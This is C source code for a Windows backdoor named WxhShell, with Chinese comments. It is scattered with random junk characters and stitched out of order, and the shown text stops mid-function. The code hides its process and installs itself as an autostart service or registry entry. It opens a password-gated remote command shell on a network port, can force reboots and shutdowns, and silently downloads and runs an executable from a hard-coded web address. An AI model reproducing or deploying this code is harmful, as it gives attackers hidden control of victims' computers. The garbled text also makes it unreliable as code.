/>_w} DWORD AffinityMask; .Pponmy DWORD BasePriority; Ba@~: ULONG UniqueProcessId; UuWIT3W>% ULONG InheritedFromUniqueProcessId; rP3tFvOH } PROCESS_BASIC_INFORMATION; &U7v=a 88~Nrl=co PROCNTQSIP NtQueryInformationProcess; ;ND$4$ V!+iq*Z|= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3"7Q[9Oj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?!P0UTe~ !i) !|9e HANDLE hProcess; v?OVhV PROCESS_BASIC_INFORMATION pbi; /iFn=pk1? ANFes*8j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IQ@9S if(NULL == hInst ) return 0; D{6y^@/ ?"mZb#% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K2zln_W g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nsRCDUCi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gv`_+E{P pCE
GZV,d@ if (!NtQueryInformationProcess) return 0; `58% &3lp vD#U+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
(=!At)O if(!hProcess) return 0; KL_/f E
f\|3D_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^2kjO/ \ptO4E CloseHandle(hProcess); GQbr}xX.# On*I.~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ga
+,
P if(hProcess==NULL) return 0; ]d1'5F][H "-&K!Vfs HMODULE hMod; y RxrfAdS char procName[255]; uyYV_Q0~; unsigned long cbNeeded; j.&dHtp n[jXqFm!` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "u6pl);G rDWAZ<;; CloseHandle(hProcess); 7ui<2(W@0 Ph=NH8 if(strstr(procName,"services")) return 1; // 以服务启动 U6&`s%mIa ,iyy2 return 0; // 注册表启动 )gdeFA V } vFk@
8$}<4 `39 // 主模块 n#P>E(K int StartWxhshell(LPSTR lpCmdLine)
9)VAEyv { 3RtVFDIZA" SOCKET wsl; t<v.rb BOOL val=TRUE; :`N&BV int port=0; 3;v)f": [ struct sockaddr_in door; )E.AY Ic0Sb7c if(wscfg.ws_autoins) Install(); v[
iJ(C_ '7'/+G'~& port=atoi(lpCmdLine); jF?0,g \*t\=4 if(port<=0) port=wscfg.ws_port; 76w[X=Fv E>_Rsw * WSADATA data; Jq0sZ0j if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M+&~sX*a qraXAQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zv
%>m setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~<_#%R! door.sin_family = AF_INET; Dl/ C?Fll door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0cmd +` door.sin_port = htons(port); /l7 %x. 4#(/{6J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ic&~iqQ closesocket(wsl); i431mpMa return 1; zbFy3-R P } E 3'I; Pn9". if(listen(wsl,2) == INVALID_SOCKET) { fn<dr(Dx closesocket(wsl); e`0C0GaP return 1; {qw'gJmX } 8U@f/P Wxhshell(wsl); __}SHU0R WSACleanup(); r^Ra`:ca ft/k-64 return 0; ;l%xjMcU cpk\;1&t } =Z.0-C>W h>V6}(~;. // 以NT服务方式启动 76T7<.S VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ll5;09 { rT R$\ [C DWORD status = 0; B6F!" DWORD specificError = 0xfffffff; #_ulmB; |~A*?6:@ serviceStatus.dwServiceType = SERVICE_WIN32; iU+SXsXLR4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; /'8%=$2Kw serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;*rGZ?%* serviceStatus.dwWin32ExitCode = 0; i3XtrP"" serviceStatus.dwServiceSpecificExitCode = 0; \:h7,[e serviceStatus.dwCheckPoint = 0; Pac ^=|h<q serviceStatus.dwWaitHint = 0; d %}?%VH :#vA5kC hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ot7f?tF2<J if (hServiceStatusHandle==0) return; C1AX +m
J G:n status = GetLastError(); eLT3b6'"? if (status!=NO_ERROR) Yjo$vQi { Dz hLb8k serviceStatus.dwCurrentState = SERVICE_STOPPED; P[aE3Felk serviceStatus.dwCheckPoint = 0; )*%uG{h serviceStatus.dwWaitHint = 0; BUZ74 serviceStatus.dwWin32ExitCode = status; kPOk.F%) serviceStatus.dwServiceSpecificExitCode = specificError; b w1s?_P SetServiceStatus(hServiceStatusHandle, &serviceStatus); eAO@B return; u9:sj } 3B[tbU( g&RhPrtl serviceStatus.dwCurrentState = SERVICE_RUNNING; [W$x5|Z}Q serviceStatus.dwCheckPoint = 0; =?L16mu1& serviceStatus.dwWaitHint = 0;
$o9^b
Z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f`vWCb } KdiJ'K. yo5-x"ze // 处理NT服务事件,比如:启动、停止 Bph(\=
W VOID WINAPI NTServiceHandler(DWORD fdwControl) =Q;dYx%I5 { GwgY{-|` switch(fdwControl) 0XE6Hw { |@rf#,hTDp case SERVICE_CONTROL_STOP: o7tlkSZ serviceStatus.dwWin32ExitCode = 0; 4EeVO5 serviceStatus.dwCurrentState = SERVICE_STOPPED; ko!]vHB9` serviceStatus.dwCheckPoint = 0; Gf7r!Ur;g serviceStatus.dwWaitHint = 0; r"L:Mu { MR,>]|
^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); varaBFD } @B)5Ho return; ,~=+]9t case SERVICE_CONTROL_PAUSE: 1jK2*y serviceStatus.dwCurrentState = SERVICE_PAUSED; z\k6."e_& break; FKtCUq,: case SERVICE_CONTROL_CONTINUE: gT fA] serviceStatus.dwCurrentState = SERVICE_RUNNING; BN`tiPNEp break; 9nd,8Nji case SERVICE_CONTROL_INTERROGATE: mst;q@ break; 6[Mu3.T }; Fyz1LOH[X SetServiceStatus(hServiceStatusHandle, &serviceStatus); NljcHe}Qy } ZV/g_i# ~!fOl)F // 标准应用程序主函数 ){J ,Z*& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -<\hcV`& { FYaBP;@J% #FGj)pu // 获取操作系统版本 sVS),9\} OsIsNt=GetOsVer(); E_xCRfw_i] GetModuleFileName(NULL,ExeFile,MAX_PATH); zM%2h:*+{ GQ9H>Ssz // 从命令行安装 r+k~%5Ff~ if(strpbrk(lpCmdLine,"iI")) Install(); ,Igd<A= @vi;P ^1! // 下载执行文件 &K"qnng/y if(wscfg.ws_downexe) { Cm6%wAzC if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l\bgp3.+ WinExec(wscfg.ws_filenam,SW_HIDE); $Ehe8,=fj } F`f8q\Fc ibuoq X` if(!OsIsNt) { V*+Z=Y' // 如果时win9x,隐藏进程并且设置为注册表启动 y(6*)~Dh HideProc(); u$V@akk StartWxhshell(lpCmdLine); 4V
5 } ,h9N,bIQg else <QRRD*\ if(StartFromService()) LyT[ // 以服务方式启动 C1(0jUz StartServiceCtrlDispatcher(DispatchTable); WD'[|s\ else x)2ZbIDB:" // 普通方式启动 Ix+\oq,O StartWxhshell(lpCmdLine); U NescZ !-|{B3"6 return 0; &_<!zJ;Hn } k%sh;1. 5l
/EZ\q oAq<ag\qV IaYy5Rw =========================================== /HM0p /-C6I: /: }"Z b ~`CWpc: {b]V
e/\ :LMLY<8>9 " 6+_qGV J*r%b+ #include <stdio.h> \XgpwvO". #include <string.h> >0jg2vqt #include <windows.h> .hytn`+9 #include <winsock2.h> )p+6yH #include <winsvc.h> \m3ca-Y #include <urlmon.h> 0r'<aA`=I aiwKkf`\ #pragma comment (lib, "Ws2_32.lib") J4^aD;j #pragma comment (lib, "urlmon.lib") ]w9\q*S] 8al%F_r] #define MAX_USER 100 // 最大客户端连接数 HF]|>1WV[ #define BUF_SOCK 200 // sock buffer q5ja \ #define KEY_BUFF 255 // 输入 buffer QMWDII&t 4A~1Z,"%v( #define REBOOT 0 // 重启 DH{^9HK #define SHUTDOWN 1 // 关机 A\};^Y .KzU7 #define DEF_PORT 5000 // 监听端口 |$.`4h? tFYod# #define REG_LEN 16 // 注册表键长度 Kv>P+I'|r #define SVC_LEN 80 // NT服务名长度 v?qU/ =S}SZYwl // 从dll定义API `l`)Cs;a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ld:U~M- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ny)N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nkTu/)or typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &!
MV!9$ dhmZ3 ~cW> // wxhshell配置信息 5AO'Ihp L struct WSCFG { n0%]dKCB int ws_port; // 监听端口 pv ;ZR char ws_passstr[REG_LEN]; // 口令 ^+'\
u;\ int ws_autoins; // 安装标记, 1=yes 0=no 7!%xJ! char ws_regname[REG_LEN]; // 注册表键名 X) xeq
char ws_svcname[REG_LEN]; // 服务名 4n,>EA85 char ws_svcdisp[SVC_LEN]; // 服务显示名 q, XRb char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;-!j,V+$h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I<^&~== int ws_downexe; // 下载执行标记, 1=yes 0=no zY&/^^y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3zuYN-; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %[H|3 [BzwQ 4 }; YVS~|4hu?i SdQ"S-H // default Wxhshell configuration rq_0"A struct WSCFG wscfg={DEF_PORT, t*{BN>B "xuhuanlingzhe", r*XEne 1, i*ErxWzu "Wxhshell", 68-2EWq "Wxhshell", l#k&&rI5x. "WxhShell Service", 'n4$dv%q "Wrsky Windows CmdShell Service", X4Y!Z/b "Please Input Your Password: ", T?V!%AqY: 1, v[I,N$: "http://www.wrsky.com/wxhshell.exe", s2ixiv= "Wxhshell.exe" :o+&>z }; 19.oW49Sw ;ro%Wjg`} // 消息定义模块 :FqHMN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R8![
$mkU char *msg_ws_prompt="\n\r? for help\n\r#>"; X|Z2"*;b` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Qnl,lf char *msg_ws_ext="\n\rExit."; /yNLFL" char *msg_ws_end="\n\rQuit."; ]'!$T72 char *msg_ws_boot="\n\rReboot..."; 1xzOD@=dI char *msg_ws_poff="\n\rShutdown..."; GFppcL@a char *msg_ws_down="\n\rSave to "; "0]s|ys6< 2{fPQQ;# char *msg_ws_err="\n\rErr!"; iX\]-_D char *msg_ws_ok="\n\rOK!"; Qy_! +q S<bsrS*$ char ExeFile[MAX_PATH]; P!K;`4Ika int nUser = 0; W2W4w HANDLE handles[MAX_USER]; .1#G*A| int OsIsNt; Z %\*\6L) -J\R}9 lIm SERVICE_STATUS serviceStatus; qVMBZ\`Qm SERVICE_STATUS_HANDLE hServiceStatusHandle; bL9vjD'} ;'~GuZ#I // 函数声明 9E-]S'Z int Install(void); r;
pS_PV int Uninstall(void); z6>Rv9f int DownloadFile(char *sURL, SOCKET wsh); Dj(!i1eQNZ int Boot(int flag); t0-)\kXcA void HideProc(void); k;c>=B)e int GetOsVer(void); ^I]A@YNni int Wxhshell(SOCKET wsl); eUeOyC void TalkWithClient(void *cs); N^;rLrm* int CmdShell(SOCKET sock); " }oH3L int StartFromService(void); =LHz[dSL int StartWxhshell(LPSTR lpCmdLine); _,{R3k g\q*,1
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PG*:3![2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); I' TprT asd3J // 数据结构和表定义 Xah-*]ET SERVICE_TABLE_ENTRY DispatchTable[] = H". [&VP5Z {
gUtxyW {wscfg.ws_svcname, NTServiceMain}, `@)>5gW&p {NULL, NULL} 9~ JeI / }; I@jXW>$ ,wPvv(b]a // 自我安装 ZtPnHs.x int Install(void) uk=f /nT
{ \6WVs>z char svExeFile[MAX_PATH]; g
r[M-U HKEY key; >IFqwh7b strcpy(svExeFile,ExeFile); : 7Jpt3 D,sb{N // 如果是win9x系统,修改注册表设为自启动 k^C^.[? if(!OsIsNt) { VS
?n pH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z(g6$Y{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~H1ZQ[ RegCloseKey(key); MR`lF-|a| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5%1a!MM
M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }I>h<O RegCloseKey(key); \~~y1.,U. return 0; sm9/sX! } +fRABY5C } Wi%e9r{hU } rS&"UH?c7 else { |(77ao3 o`+$h:zm@ // 如果是NT以上系统,安装为系统服务 =s5g9n+7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Is1(]^EE* if (schSCManager!=0) tS:/:0HnA) { w+W!dM SC_HANDLE schService = CreateService Cyu= c1D ; ( fv+t%,++: schSCManager, {#C)S&o)6 wscfg.ws_svcname, (YC{BM} wscfg.ws_svcdisp, j Wjp0ii SERVICE_ALL_ACCESS, L=# nnj- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =
iXHu
*g SERVICE_AUTO_START, wJMk%N~R: SERVICE_ERROR_NORMAL, }eq*dr1` svExeFile, v{c,>]@ NULL, 3[;fO_ R NULL, ScCA8JgY NULL, u|{(m_"H NULL, S\"#E:A NULL ]21`x ); x*7Q if (schService!=0) @/f'i9?oM` { s=[T,:Z CloseServiceHandle(schService); ^sqTgrG CloseServiceHandle(schSCManager); u}QcyG^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U"L7G$ strcat(svExeFile,wscfg.ws_svcname); ,:=g}i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *-\qO.4\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3$f+3/l RegCloseKey(key); $rV4JROb return 0; pr?k~Bn } ;]\>jC } $/#F9>eZ CloseServiceHandle(schSCManager); rm?C_ } UVlh7w jg } %yPjPUHy k;V (rf` return 1; G<:gNWXd\ } `)WC|= w2 M7gb3gw6 // 自我卸载 *F;W 1TF int Uninstall(void) Gr8%%]1!0 { f(UB$^4 HKEY key; ^{{0ajI9C U
ljWBd if(!OsIsNt) { "[
#. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x +]ek
RegDeleteValue(key,wscfg.ws_regname); =Vat2'>+ RegCloseKey(key); /mG-g%gE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u?7^+z RegDeleteValue(key,wscfg.ws_regname); G<M9 6V RegCloseKey(key); u8r<B4k return 0; B]#^&89wG) } GFTOP%Tgl } 8Ao-m38 } ;q&uk- else { U
uEm{ FFq8LM8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SbXV'&M2AT if (schSCManager!=0) KD^n7+w% { @fh:lsw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Q0vwKC8> if (schService!=0) w`I+4&/h { A{%LL r: if(DeleteService(schService)!=0) { a&Z;$ CloseServiceHandle(schService); Bg. CloseServiceHandle(schSCManager); Oj8xc!d' return 0; Dp-j(F } q#PMQR"C CloseServiceHandle(schService); u9u'!hAGH } j.kv!;Rj= CloseServiceHandle(schSCManager); nq
qqP } k7kPeq } }uiD8b{I au#/Q return 1; a[=;6! } }fZ~HqS2w utU;M* // 从指定url下载文件 5Zuk`%O int DownloadFile(char *sURL, SOCKET wsh) $EG9V++b3 { 9_xrw:4 HRESULT hr; oS^g "hQ`\ char seps[]= "/"; GJIZu&C char *token; F/ui(4 char *file; .L9n char myURL[MAX_PATH]; &$yDnSt\ char myFILE[MAX_PATH]; N{#9gr3zi U8OVn(qV strcpy(myURL,sURL); \ 0/m$V. token=strtok(myURL,seps); #H;1)G(/ while(token!=NULL) m+QZ| { cJ#n<Rsz file=token; *r)dtI* token=strtok(NULL,seps); %$'Z"njO& } E<'V6T9bi 5}TTf2&Xo# GetCurrentDirectory(MAX_PATH,myFILE); "Pl.G[Buc- strcat(myFILE, "\\"); U;#G$ strcat(myFILE, file); s\ e b send(wsh,myFILE,strlen(myFILE),0); %?Q< send(wsh,"...",3,0); HdRwDW@7= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #xh
M&X if(hr==S_OK) 6 apK return 0; A [_T~+-G else xg;vQKS6 return 1; ; sAe#b ?OFfU 4 } |]eWO#vs >{[ // 系统电源模块 Y-+JDrK int Boot(int flag) Z5eM { DfX~}km HANDLE hToken; S5\KI+;PW TOKEN_PRIVILEGES tkp; rP IAu[],g Kf# iF* if(OsIsNt) { xy-Vw"I[bh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q%W>m0% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )cU$I) tkp.PrivilegeCount = 1; w\a6ga!xt" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S59^$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tA^CuJR if(flag==REBOOT) { l[^0Ik-G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q_`EKz;N{ return 0; :}CcWfbT } p\Fxt1Y@X else { 3Xm>
3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a5 pXn v]A return 0; gOr%N!5 } M7{_"9X{ } 8On MtP else { ?8FJMFv;4% if(flag==REBOOT) { {E.A?yej9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B:ugEAo_ return 0; N%9?8X[5 } #'y&M t else { ul]hvK{2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Bh7hF?c Sj return 0; Cx&l0ZXHEX } 9\uBX.]x } a7aj:.wi i,rX.K}X return 1; +&G]\WX< } X6=o vm LTuT"}dT[ // win9x进程隐藏模块 %CQv&d2 void HideProc(void) r}}2Kl { !6hV|2aJy e/x6{~ju^N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T.W^L'L` if ( hKernel != NULL ) UG3}|\.u { ^].U?t.n) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D^6Q`o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jp|*kBDq\ FreeLibrary(hKernel); 4I#@xm8) } qMw_`dC @|{8/sOq return; S0ltj8t } :KqSMuKR <sSH^J4QqX // 获取操作系统版本
Tj}%G int GetOsVer(void) FiSx"o { &?5me:aU OSVERSIONINFO winfo; Mkr
&30il[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aq\Fh7 GetVersionEx(&winfo); p0PK-e`@: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'F3@Xh return 1; sFHqLG{/ else 'uF-}_
| return 0; n@6vCdk. } p)VMYu E{}J-_oS45 // 客户端句柄模块 ^Jw=5ImG int Wxhshell(SOCKET wsl) P9 y+rF. { 9@}5FoX" SOCKET wsh; gf}*}8D struct sockaddr_in client; S(/^_Y DWORD myID; Tp.:2[ _#
cM vlk while(nUser<MAX_USER) KD]`pqN9 { nm_4E8&X int nSize=sizeof(client); ^=8/I w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^]Q.V if(wsh==INVALID_SOCKET) return 1; %<8r`BMo WJ^]mpH9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EMpq+LrN if(handles[nUser]==0) 9W,%[ closesocket(wsh); j&
ykce else f$vU$>+[ nUser++; :yTr:FoF } }R%*J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5,-:31(j\ M Np4=R return 0; AMASh* } KzQFG)q , y:_>R=sw // 关闭 socket d c/^ void CloseIt(SOCKET wsh) RJKi98xwJ
{ f>e0l'\ closesocket(wsh); hQ@#h`lS nUser--; {&L^|X ExitThread(0); Fnay{F8z } O*Y ? :
t ].2t7{64 // 客户端请求句柄 :4\%a4{Ie void TalkWithClient(void *cs) ";7/8(LBZ { f=.!/e70 (F9e.QyWb SOCKET wsh=(SOCKET)cs; D!ASO] char pwd[SVC_LEN]; ; 6PRi/@ char cmd[KEY_BUFF]; R_>.O?U4 char chr[1]; hwA&SS int i,j; KP
6vb@(6 O#p_rfQ while (nUser < MAX_USER) { 5<Uh2c W*Ow%$%2 if(wscfg.ws_passstr) { %I{>H%CjE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6J@,bB
jVz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A&M(a //ZeroMemory(pwd,KEY_BUFF); 78 ]Kv^l^_ i=0; ;?q}98-2 while(i<SVC_LEN) { <
Wp)Y
\3"B$Sp|= // 设置超时 Vw.)T/B_D fd_set FdRead; GB"Orm. struct timeval TimeOut; \m+=| FD_ZERO(&FdRead); #`!mQSK FD_SET(wsh,&FdRead); agE-, TimeOut.tv_sec=8; |=KzQY|u TimeOut.tv_usec=0; f=VlO d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6 EfBz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :RxMZwa= JYmYX- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H=w):kL| pwd=chr[0]; vVIND if(chr[0]==0xd || chr[0]==0xa) { J*Ie# :J] pwd=0; +6$-"lf break; sjb.Ezoq3 } o`!#io i++; |"S#uJW } >Vg [A fM|s,'Q1x // 如果是非法用户,关闭 socket lpS v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6VuyKt } ,>za|y<n }0Uh<v@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /8nUecr send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z>iXNwz"? 1P'A*`!K while(1) { 'Bxj(LaV- 6 eu7&Kj' ZeroMemory(cmd,KEY_BUFF); #:P$a%V R4P&r=? // 自动支持客户端 telnet标准 >)G[ww[ j=0; YllZ5<} while(j<KEY_BUFF) { MkjB4:" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "'@D\e} cmd[j]=chr[0]; "\T-r 2 if(chr[0]==0xa || chr[0]==0xd) { <2L,+ cmd[j]=0; fA]sPh4Uag break; 023uAaI^3r } ~d1=_p:~T j++; 9v;HE{> } L N.:>, 6xwjKh:9 // 下载文件 mpCu,l+lo if(strstr(cmd,"http://")) { 6({)O1Z send(wsh,msg_ws_down,strlen(msg_ws_down),0); []aw;\7}Y if(DownloadFile(cmd,wsh)) %<+uJ'pj send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$q#^UvD else GDe,n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UKV<Ye| } F$jy~W_ else { F?"Gln~; n4M
Xa()P1 switch(cmd[0]) { _9H]:]1QH d>W#c8X> // 帮助 {.p;V case '?': { ?U[6X|1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i2rSP$j break; ?e4H{Y/M } @: =vK?8L // 安装 8~t8^eBg
case 'i': { 27+faR if(Install()) 7l/lY-zO send(wsh,msg_ws_err,strlen(msg_ws_err),0); !lL
`L\ else 3c7i8b $ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ba5*]VGG break; O(2c_! d } Eu~1t& 4 // 卸载 wB'!@>db case 'r': { ,H,[)8 if(Uninstall()) "crp/Bj? send(wsh,msg_ws_err,strlen(msg_ws_err),0); OFmHj]I7= else LAnC8O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !OQ5AF$
break; 4X7J~ } a#i|)[ // 显示 wxhshell 所在路径 + 9|0\Q case 'p': { 00f'G2n char svExeFile[MAX_PATH]; ~x/ka43 strcpy(svExeFile,"\n\r"); y!}XlllV strcat(svExeFile,ExeFile); e f&8L send(wsh,svExeFile,strlen(svExeFile),0); z^.dYb7< break; hcRe,}wJ } jP_s(PQ // 重启 ~_"V7 case 'b': { [>pBz3fn, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @_$$'XA7 if(Boot(REBOOT)) IHi[3xf< send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Lf&[_ else { >`a^E1) closesocket(wsh); Vp~ cN ExitThread(0); ,dK)I1"C } @RszPH1B break; H25Qx;(dTk } CueC![pj // 关机 gp{C89gP case 'd': { SiaW; ks send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /5"T46jD if(Boot(SHUTDOWN)) d0ht*b send(wsh,msg_ws_err,strlen(msg_ws_err),0); !X$19" else { Xx[,n-rA closesocket(wsh); ~Js kA5h|& ExitThread(0); &fWC-| } i^iu#WC break; 4k3pm& } eD2eDxN2 // 获取shell <)~-] case 's': { U9^1A* CmdShell(wsh); 0%[IG$u)| closesocket(wsh); kh=<M{-t ExitThread(0); kRwUR34yc break; hDSf>X_*_G } Cd=$XJ-b // 退出 7}~w9jK"F case 'x': { [
't.x= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yhbU;qEG9 CloseIt(wsh); o3|4PAA/ break; $57Q
g1v } SpU|Q1Q/h // 离开 :Z2997@Y case 'q': { @#N7M2/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] dJ"_ closesocket(wsh); sF[gjeIb WSACleanup(); ?< |